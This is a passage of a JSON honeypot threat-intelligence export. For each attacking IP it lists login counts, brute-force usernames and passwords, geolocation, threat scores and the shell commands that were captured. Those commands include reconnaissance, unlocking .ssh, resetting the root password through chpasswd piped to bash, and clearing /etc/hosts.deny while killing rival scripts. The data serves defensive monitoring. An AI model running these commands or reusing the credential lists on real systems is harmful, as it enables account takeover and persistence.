        "first_seen_30d": "2026-03-04T09:35:55.204000+00:00",
        "last_seen_30d": "2026-03-05T23:55:50.585000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 373,
        "Suricata": 67
      }
    },
    "170.79.37.88": {
      "attack_count": 336,
      "first_seen": "2026-03-02T00:00:12.294Z",
      "last_seen": "2026-03-12T21:42:22.768Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "api",
        "dolphinscheduler",
        "rdp",
        "abdul",
        "asdf",
        "botuser",
        "claude",
        "clawd",
        "comp",
        "external",
        "gbase",
        "guillaume",
        "karim",
        "laurent",
        "luis",
        "mirror",
        "nuc",
        "samba"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12344",
        "12345",
        "123456",
        "12qwaszX",
        "1qazXSW@3edcVFR$",
        "Comp123",
        "Laurent123",
        "Luis123",
        "Qq123456!",
        "Qweasd123!@#",
        "Rdp123!",
        "botuser123!",
        "clawd@123",
        "dolphinscheduler123!",
        "guillaume123!",
        "parker"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\n4VEN7flOhFZB\\n4VEN7flOhFZB\\n\"|passwd",
        "echo \"Rdp123!\\nicdE76ZVMfFp\\nicdE76ZVMfFp\\n\"|passwd",
        "echo \"dolphinscheduler123!\\nc4JE4MYHJi1F\\nc4JE4MYHJi1F\\n\"|passwd",
        "echo -e \"1234\\n4VEN7flOhFZB\\n4VEN7flOhFZB\"|passwd|bash",
        "echo -e \"Rdp123!\\nicdE76ZVMfFp\\nicdE76ZVMfFp\"|passwd|bash",
        "echo -e \"dolphinscheduler123!\\nc4JE4MYHJi1F\\nc4JE4MYHJi1F\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 6147,
      "as_org": "INTEGRATEL PERU S.A.A.",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 409,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:12.294000+00:00",
        "last_seen_30d": "2026-03-12T21:43:27.254000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 336,
        "Suricata": 73
      }
    },
    "159.223.226.93": {
      "attack_count": 333,
      "first_seen": "2026-03-02T07:19:29.816Z",
      "last_seen": "2026-03-02T08:16:34.601Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu",
        "centos"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "password",
        "qwerty",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "passw0rd",
        "password1",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:05:15.481000+00:00",
        "last_seen_30d": "2026-03-02T08:17:36.034000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 333,
        "Suricata": 141
      }
    },
    "160.174.129.232": {
      "attack_count": 332,
      "first_seen": "2026-03-23T06:57:35.038Z",
      "last_seen": "2026-03-24T21:49:38.441Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "acaadmin",
        "k8s123",
        "nominatim",
        "adminftp",
        "andrey",
        "atul",
        "cdn",
        "cisco",
        "dashboard",
        "devopsuser",
        "editor",
        "edward",
        "gpu",
        "kai",
        "netflow",
        "ravi",
        "satya",
        "sensor",
        "sm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345678",
        "Ravi123!",
        "Sm123",
        "Zhenshan123!",
        "acaadmin",
        "adminftp",
        "andrey123!",
        "atul",
        "cdn",
        "dashboard",
        "devopsuser",
        "editor",
        "gpu",
        "k8s123",
        "kai",
        "netflow123",
        "satya"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"acaadmin\\nv8UPnGFKROnH\\nv8UPnGFKROnH\\n\"|passwd",
        "echo \"k8s123\\nhtlY4MmclRg3\\nhtlY4MmclRg3\\n\"|passwd",
        "echo \"password\\nMlg6ORWNsCST\\nMlg6ORWNsCST\\n\"|passwd",
        "echo -e \"acaadmin\\nv8UPnGFKROnH\\nv8UPnGFKROnH\"|passwd|bash",
        "echo -e \"k8s123\\nhtlY4MmclRg3\\nhtlY4MmclRg3\"|passwd|bash",
        "echo -e \"password\\nMlg6ORWNsCST\\nMlg6ORWNsCST\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": null,
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 404,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T06:57:35.038000+00:00",
        "last_seen_30d": "2026-03-24T21:50:42.800000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 72
      }
    },
    "43.156.19.37": {
      "attack_count": 310,
      "first_seen": "2026-03-04T09:29:27.294Z",
      "last_seen": "2026-03-09T16:54:30.998Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hari",
        "ai",
        "carlo",
        "develop",
        "kali",
        "mata",
        "sipv"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "12345",
        "123456Aa",
        "12qwaszx",
        "1q@W3e$R5t",
        "66668888",
        "Aa123456...",
        "Admin@123#",
        "An123456",
        "Bingo@1993",
        "Cb123456@",
        "QWERTY12345",
        "Qwerty123",
        "carlopass",
        "kenneth",
        "mata1234",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\n8LvGPXbQSaL1\\n8LvGPXbQSaL1\\n\"|passwd",
        "echo \"root:TYmAJhJE941F\"|chpasswd|bash",
        "echo \"root:ausIgEhD34wT\"|chpasswd|bash",
        "echo -e \"123\\n8LvGPXbQSaL1\\n8LvGPXbQSaL1\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T09:29:27.294000+00:00",
        "last_seen_30d": "2026-03-09T16:55:32.378000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 310,
        "Suricata": 64
      }
    },
    "116.110.22.73": {
      "attack_count": 287,
      "first_seen": "2026-03-22T03:32:11.809Z",
      "last_seen": "2026-03-22T03:54:28.669Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "developer",
        "ace",
        "auto",
        "cisco",
        "client",
        "cpanel",
        "db2inst2",
        "demo",
        "ftp_zsd",
        "george",
        "geral",
        "help",
        "install",
        "jay",
        "joggler",
        "joro",
        "library",
        "linaro"
      ],
      "passwords_attempted": [
        "0l0ctyQh243O63uD",
        "1",
        "123",
        "1234",
        "123456",
        "123456789",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "?",
        "Deadstar!",
        "P@ssw0rd",
        "abc123",
        "ace",
        "admin",
        "aerohive",
        "calvin",
        "cisco123",
        "db2inst2",
        "demo",
        "developer"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 414,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T03:32:11.809000+00:00",
        "last_seen_30d": "2026-03-22T03:55:31.319000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 127
      }
    },
    "188.37.194.181": {
      "attack_count": 279,
      "first_seen": "2026-03-26T19:08:28.662Z",
      "last_seen": "2026-03-26T20:09:37.891Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "202426",
        "786786",
        "Aa123",
        "Azure12345678",
        "Bismillah@123",
        "P@55w0rd@321",
        "Web2026",
        "Wx123456",
        "dlgwbn",
        "lijing",
        "mango",
        "t123445",
        "toor1",
        "vps123",
        "zxc.1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2ZEmLZhZNZIJ\"|chpasswd|bash",
        "echo \"root:HN5O0mNYjknA\"|chpasswd|bash",
        "echo \"root:XU1CPhHj19IS\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Trofa",
      "asn": 12353,
      "as_org": "Vodafone Portugal - Communicacoes Pessoais S.A.",
      "threat_score": 31.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:08:28.662000+00:00",
        "last_seen_30d": "2026-03-26T20:10:42.966000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 279,
        "Suricata": 50
      }
    },
    "201.186.40.250": {
      "attack_count": 252,
      "first_seen": "2026-03-07T00:26:55.032Z",
      "last_seen": "2026-03-07T00:56:59.035Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "allen",
        "amine",
        "intell",
        "bryan",
        "gm",
        "mukul",
        "radarr",
        "root",
        "zhangliang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "@qwer2025",
        "Allen123",
        "Mukul123!",
        "Radarr123!",
        "Zhangliang123!",
        "bryanpass",
        "gmpass",
        "intell"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nEgzixRH7B7dN\\nEgzixRH7B7dN\\n\"|passwd",
        "echo \"Allen123\\nQstWvZ3kCgy4\\nQstWvZ3kCgy4\\n\"|passwd",
        "echo \"intell\\nMZ5oQcZTSQxC\\nMZ5oQcZTSQxC\\n\"|passwd",
        "echo -e \"1234\\nEgzixRH7B7dN\\nEgzixRH7B7dN\"|passwd|bash",
        "echo -e \"Allen123\\nQstWvZ3kCgy4\\nQstWvZ3kCgy4\"|passwd|bash",
        "echo -e \"intell\\nMZ5oQcZTSQxC\\nMZ5oQcZTSQxC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Port Montt",
      "asn": 14117,
      "as_org": "Telefonica del Sur S.A.",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 285,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:26:55.032000+00:00",
        "last_seen_30d": "2026-03-07T00:58:01.279000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 252,
        "Suricata": 33
      }
    },
    "34.124.148.87": {
      "attack_count": 231,
      "first_seen": "2026-03-26T23:25:08.872Z",
      "last_seen": "2026-03-27T01:26:27.619Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456#",
        "123456@qaz",
        "1Qaz@Wsx",
        "2024813",
        "Hello12345",
        "P@ssWord",
        "QWErty123!@#",
        "Samsung@2025",
        "Temp2026",
        "Yc123456.",
        "admin88888888",
        "dongdong",
        "guowei",
        "intel",
        "nomeacuerdo",
        "philippe",
        "shadow",
        "toor2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0B6qKQbv4wSJ\"|chpasswd|bash",
        "echo \"root:vldY9MbcpUBb\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T23:25:08.872000+00:00",
        "last_seen_30d": "2026-03-27T01:27:33.521000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 231,
        "Suricata": 65
      }
    },
    "116.99.173.253": {
      "attack_count": 207,
      "first_seen": "2026-03-03T20:32:14.758Z",
      "last_seen": "2026-03-03T20:50:53.044Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "cf1c22",
        "george",
        "guest1",
        "helpdesk",
        "joggler",
        "joro",
        "kim",
        "library",
        "matrix",
        "newadmin",
        "office",
        "plex",
        "psybnc"
      ],
      "passwords_attempted": [
        "admin",
        "1111",
        "12345678",
        "72ca06",
        "P@ssw0rd",
        "abc123",
        "abcdefg",
        "admin123",
        "andrew",
        "anton",
        "bin",
        "calvin",
        "cf1c22",
        "explorer",
        "george",
        "guest1",
        "helpdesk",
        "htpcguides",
        "joggler",
        "joro"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:32:14.758000+00:00",
        "last_seen_30d": "2026-03-03T20:51:54.713000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 207,
        "Suricata": 90
      }
    },
    "112.196.70.142": {
      "attack_count": 196,
      "first_seen": "2026-03-03T01:20:52.920Z",
      "last_seen": "2026-03-03T01:55:13.330Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "3245gs5662d34",
        "345gs5662d34",
        "1234@Abcd",
        "Ea8ek&ahP4ke_",
        "Password.1",
        "Root@123",
        "a1s2d3f4g5h6j7k8l9",
        "aa159753",
        "aaa!!!",
        "admin@123",
        "adminroot",
        "david123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ARSFRRK3uZsE\"|chpasswd|bash",
        "echo \"root:aK1q8xstfFfA\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mohali",
      "asn": 17917,
      "as_org": "Quadrant Televentures Limited",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 235,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:20:52.920000+00:00",
        "last_seen_30d": "2026-03-03T01:56:14.871000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 39
      }
    },
    "109.196.100.71": {
      "attack_count": 193,
      "first_seen": "2026-03-16T04:08:13.550Z",
      "last_seen": "2026-03-16T04:52:48.400Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Barcelona7",
        "Coolwater",
        "D111111",
        "Dale",
        "Daniel76",
        "David2008",
        "Dutchess1",
        "Eliza123",
        "Gemini26",
        "Heart123",
        "Icarus",
        "Langdale",
        "Louise7",
        "Lovejesus1",
        "Mairead",
        "Mali",
        "My2Angels",
        "Number10"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:R3oaLg6vL13Y\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 9123,
      "as_org": "Jsc timeweb",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T04:08:13.550000+00:00",
        "last_seen_30d": "2026-03-16T04:53:49.611000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "170.84.205.47": {
      "attack_count": 187,
      "first_seen": "2026-03-06T17:47:52.849Z",
      "last_seen": "2026-03-06T18:27:47.382Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "central",
        "345gs5662d34",
        "cw",
        "f",
        "hanul",
        "public",
        "ww"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "123",
        "345gs5662d34",
        "@qwer2025",
        "@qwer2026",
        "Admin@123!",
        "Hanul123",
        "User1234",
        "central",
        "f1234",
        "public123!",
        "test@123",
        "ww123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"central\\njPdigaYa2lNL\\njPdigaYa2lNL\\n\"|passwd",
        "echo \"root:zNsj0E9H7Vpk\"|chpasswd|bash",
        "echo -e \"central\\njPdigaYa2lNL\\njPdigaYa2lNL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Zavalla",
      "asn": 52507,
      "as_org": "Pampacom S.R.L.",
